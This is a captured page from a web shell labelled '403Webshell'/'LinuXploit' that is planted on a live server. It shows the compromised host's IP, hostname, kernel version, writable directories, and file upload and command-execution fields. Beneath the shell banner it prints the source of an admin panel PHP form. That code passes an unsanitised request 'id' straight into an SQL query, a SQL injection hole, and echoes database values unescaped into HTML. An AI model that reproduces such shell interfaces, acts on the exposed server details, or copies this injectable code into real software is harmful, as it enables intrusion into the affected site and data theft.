403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rsdgroup/adminPanel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rsdgroup/adminPanel/distributors_add.php
<?php 
include_once("session.php");
include_once("settings.php");
include_once("functions.php");

if($_REQUEST["mode"]=="Edit")
{
$mode="Edit";
$mode1="Update";
$mode2="EDIT";
$id=$_REQUEST['id'];
$rs_tblsite=mysql_query("select * from `tblDistributors` where `Id`='$id'");
$array_tblsite=mysql_fetch_array($rs_tblsite);
$Id=$array_tblsite['Id'];
 }
else
{
$id=$_REQUEST['id'];
$mode="Add";
$mode1="Add";
$mode2="ADD";
}
?>
<LINK href="mel.css" type=text/css 
rel=stylesheet><LINK href="sdmenu.css" 
type=text/css rel=stylesheet>
<script>
function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_validateForm() { //v4.0
  var i,p,q,nm,test,num,min,max,errors='',args=MM_validateForm.arguments;
  for (i=0; i<(args.length-2); i+=3) { test=args[i+2]; val=MM_findObj(args[i]);
    if (val) { nm=val.name; if ((val=val.value)!="") {
      if (test.indexOf('isEmail')!=-1) { p=val.indexOf('@');
        if (p<1 || p==(val.length-1)) errors+='- '+nm+' must contain an e-mail address.\n';
      } else if (test!='R') { num = parseFloat(val);
        if (isNaN(val)) errors+='- '+nm+' must contain a number.\n';
        if (test.indexOf('inRange') != -1) { p=test.indexOf(':');
          min=test.substring(8,p); max=test.substring(p+1);
          if (num<min || max<num) errors+='- '+nm+' must contain a number between '+min+' and '+max+'.\n';
    } } } else if (test.charAt(0) == 'R') errors += '- '+nm+' is required.\n'; }
  } if (errors) alert('The following error(s) occurred:\n'+errors);
  document.MM_returnValue = (errors == '');
}
//-->
</script>


<table width="94%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td><form name="add_distributors_form" id="form1" method="post" action="write_distributors.php" onsubmit="MM_validateForm('name_of_cfa','','R','contact_person','','R');return document.MM_returnValue">
        <fieldset>
        <legend>DISTRIBUTORS 
        <?=$mode2?>
        FORM</legend>
        <table width="97%" border="0" cellspacing="2" cellpadding="0">
          <tr> 
            <td width="47%" height="26" class="general">Name Of CFA :</td>
            <td width="53%" height="26" > <input name="name_of_cfa" type="text" class="textfield" id="name_of_cfa"   size="50" value="<?=$array_tblsite["Name_Of_CFA"];?>" maxlength="150"/></td>
          </tr>
          <tr> 
            <td height="26" class="general">Street Name :</td>
            <td height="26" class="general"><textarea name="street_name" class="textfield" cols="45" id="street_name"><?=$array_tblsite["Street_Name"];?></textarea></td>
          </tr>
          <tr> 
            <td height="26" class="general">Area :</td>
            <td height="26" class="general"><input name="area" type="text" class="textfield" id="area"   size="50" value="<?=$array_tblsite["Area"];?>"/></td>
          </tr>
          <tr> 
            <td height="26" class="general">Town :</td>
            <td height="26" class="general"><input name="town" type="text" class="textfield" id="town"  value="<?=$array_tblsite["Town"];?>" size="50"/></td>
          </tr>
          <tr> 
            <td height="26" class="general">District :</td>
            <td width="53%" height="26" class="general"><input name="district" type="text" class="textfield" id="district" value="<?=$array_tblsite["District"];?>"   size="50"/></td>
          </tr>
          <tr> 
            <td height="26" class="general">State :</td>
            <td height="26" class="general"><input name="state" type="text" class="textfield" id="state"   size="50" value="<?=$array_tblsite["State"];?>" maxlength="100"/></td>
          </tr>
          <tr>
            <td height="26" class="general">Pincode:</td>
            <td height="26" class="general"><input name="pincode" type="text" class="textfield" id="pincode" value="<?=$array_tblsite["Pincode"];?>"  size="50" maxlength="20"/></td>
          </tr>
          <tr> 
            <td height="26" class="general">Phone No. (O) :</td>
            <td height="26" class="general"><input name="phone_number_office" type="text" class="textfield" id="phone_number_office" value="<?=$array_tblsite["Phone_No_Office"];?>"   size="50"/></td>
          </tr>
          <tr> 
            <td height="26" class="general">Mobile No .:</td>
            <td height="26" class="general"><input name="mobile_number" type="text" class="textfield" id="mobile_number"  value="<?=$array_tblsite["Mobile_Number"];?>"  size="50"/></td>
          </tr>
          <tr> 
            <td height="26" class="general">Fax No. :</td>
            <td height="26" class="general"><input name="fax_no" type="text" class="textfield" id="fax_no" value="<?=$array_tblsite["Fax_No"];?>"   size="50"/></td>
          </tr>
          <tr> 
            <td height="26" class="general">Emai :</td>
            <td height="26" class="general"><input name="email" type="text" class="textfield" id="email" value="<?=$array_tblsite["Email"];?>"   size="50"/></td>
          </tr>
          <tr> 
            <td height="26" class="general">Contact Person : </td>
            <td height="26" class="general"><input name="contact_person" type="text" class="textfield" id="contact_person" value="<?=$array_tblsite["Contact_Person"];?>"   size="50" maxlength="150"/></td>
          </tr>
          <tr align="center"> 
            <td height="26" colspan="2"><label for="label">
              <input name="id" type="hidden" id="id" value="<?=$Id;?>">
              <input type="submit" name="Submit" value="  Save  " class="button" />
              &nbsp;&nbsp;&nbsp;&nbsp; 
              <input type="reset" name="Submit" value="Reset" class="button" />
              </label></td>
          </tr>
        </table>
        </fieldset>
      </form></td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit